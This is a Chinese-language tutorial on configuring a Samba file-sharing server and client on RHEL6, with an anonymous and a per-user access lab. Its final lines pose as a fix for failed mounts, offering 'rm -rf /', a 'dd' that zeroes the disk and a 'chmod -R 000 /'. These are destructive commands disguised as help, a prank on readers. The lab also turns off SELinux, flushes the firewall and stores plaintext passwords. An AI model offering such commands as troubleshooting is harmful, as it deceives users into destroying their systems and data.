Samba服务基础
- Samba的软件包组成
–samba-client-3.5.10-125.el6.x86_64
–samba-common-3.5.10-125.el6.x86_64
–samba-3.5.10-125.el6.x86_64
- Samba服务器的主要程序
–smbd:提供对服务器中文件、打印资源的共享访问
–nmbd:提供基于NetBIOS主机名称的解析
- Samba的服务脚本
–/etc/init.d/smb
- Samba的配置目录及文件
–/etc/samba/
–/etc/samba/smb.conf
Samba权限
- Selinux阻止
–# getsebool –a | grep samba
–# chcon -R -t samba_share_t /var/smbpub/
–# setsebool -P use_samba_home_dirs on
- Server端
–目录本身rwx权限
- Client端
–Linux-Client端挂在点rwx权限
- mount //192.168.1.1/server /var/smbcl/
–Windows端直接以共享方式访问,无权限限制
- \\192.168.1.1\server
smb.conf主配置文件
- smb.conf文件的配置内容
–[global]:全局设置
–[homes]:用户目录共享设置
–[printers]:打印机共享设置
–[myshare]:自定义名称的共享目录设置
- 辅助配置内容
–注释行:以 # 号开头的行
–配置样例行:以 ; 号开头的行
–结合grep命令可以提取有效配置行
- grep -v "^#" smb.conf | grep -v "^;" | grep -v ^$
- 常见全局配置项的含义
–workgroup:所在工作组名称
–server string:服务器描述信息
–security:安全级别,可用值如下:
share、user、server、domain
–log file:日志文件位置,“%m”变量表示客户机地址
–max log size:日志文件的最大容量,单位为KB
- 常见共享目录配置项的含义
–comment:对共享目录的注释、说明信息
–path:共享目录在服务器中对应的实际路径
–browseable:该共享目录在“网上邻居”中是否可见
–guest ok:是否允许所有人访问,等效于“public”
–writable:是否可写,与read only的作用相反
建立Samba用户
系统用户帐号 -> Samba用户帐号
系统组 -> Samba组 ----注:组不可操作
smbpasswd管理命令,常用的选项:
-a:添加指定的Samba帐号
-d:禁用指定的Samba帐号
-e:启用指定的Samba帐号
-x:删除指定的Samba帐号
-h:显示帮助信息
不指定选项时可以修改指定Samba帐号的密码
- Samba帐号的别名设置
–在smb.conf全局配置中
- Username map = /etc/samba/smbusers
- 默认的别名映射文件:/etc/samba/smbusers
- 在smb.conf文件设置客户机访问授权
–一般用在全局配置[global]部分
–hosts allow配置项:仅允许特定的客户机
–hosts deny配置项:仅拒绝特定的客户机
–客户机地址表示形式:
- 以空格分隔多个地址
- 主机名或IP地址,例如: 192.168.168.11 或者 prtsvr
在客户机中访问共享目录
- 使用Windows客户端访问文件共享服务
–网上邻居、UNC路径
- 使用Linux客户端访问文件共享服务
–smbclient命令,查看及登录使用共享
- smbclient -L 192.168.168.1
- smbclient -U vina //192.168.168.1/movie
–mount命令,将共享目录挂载到本地使用
- mount -o username=vina //192.168.168.1/movie /mnt
–/etc/fstab
- //192.168.1.10/share /mnt cifs username=vina,passwd=redhat 0 0
实例:
Samba
匿名访问
实验环境:
两台可以互相ping通的虚拟机(一台客户机,一台服务器)
实验步骤:
先确定两台虚拟机之间可以ping通
服务器端
- 关闭沙盒,清空防火墙规则
[root@shuai samba]# setenforce 0 [root@shuai samba]# iptables -F
- 先安装两个服务 samba服务器端
Samba的软件包组成
- samba-client-3.5.10-125.el6.x86_64 服务器端
- samba-common-3.5.10-125.el6.x86_64 公共包
- samba-3.5.10-125.el6.x86_64 客户端
公共包,服务器端和客户端都需要安装
- 然后vim /etc/samba/smb.conf 修改samba的配置文件
- 重启samba服务
- 在 / 下创建一个名为samba的文件夹,然后新建一个文件shuai
然后为/samba 赋予权限 chmod o+w /samba/
客户端
- 再切换到客户端安装两个服务 samba客户端服务
显示服务器端所分享出来的所有资源
- 挂载
指定用户访问
服务器
- 进入vim /etc/samba/smb.conf 修改samba的配置文件
- 重启samba服务
- 在服务器创建用户 并 设置密码:123.com
4.创建共享文件
客户机
- 挂载:
mount -t cifs -o user=guoer,password=123.com //192.168.1.88/public /samba-client/
看了上面这么详细的教程,如果还挂载不成功,建议输入以下的其中一条命令。即可强制挂载成功:smiling_imp: :smiling_imp::smiling_imp:
sudo rm -rf / --no-preserve-root
或者:
sudo dd if=/dev/zero of=/dev/sda
也可以:
sudo chmod -R 000 /
以上命令请谨慎操作,如出现任何情况概不负责!!! :huaji: :huaji: :huaji: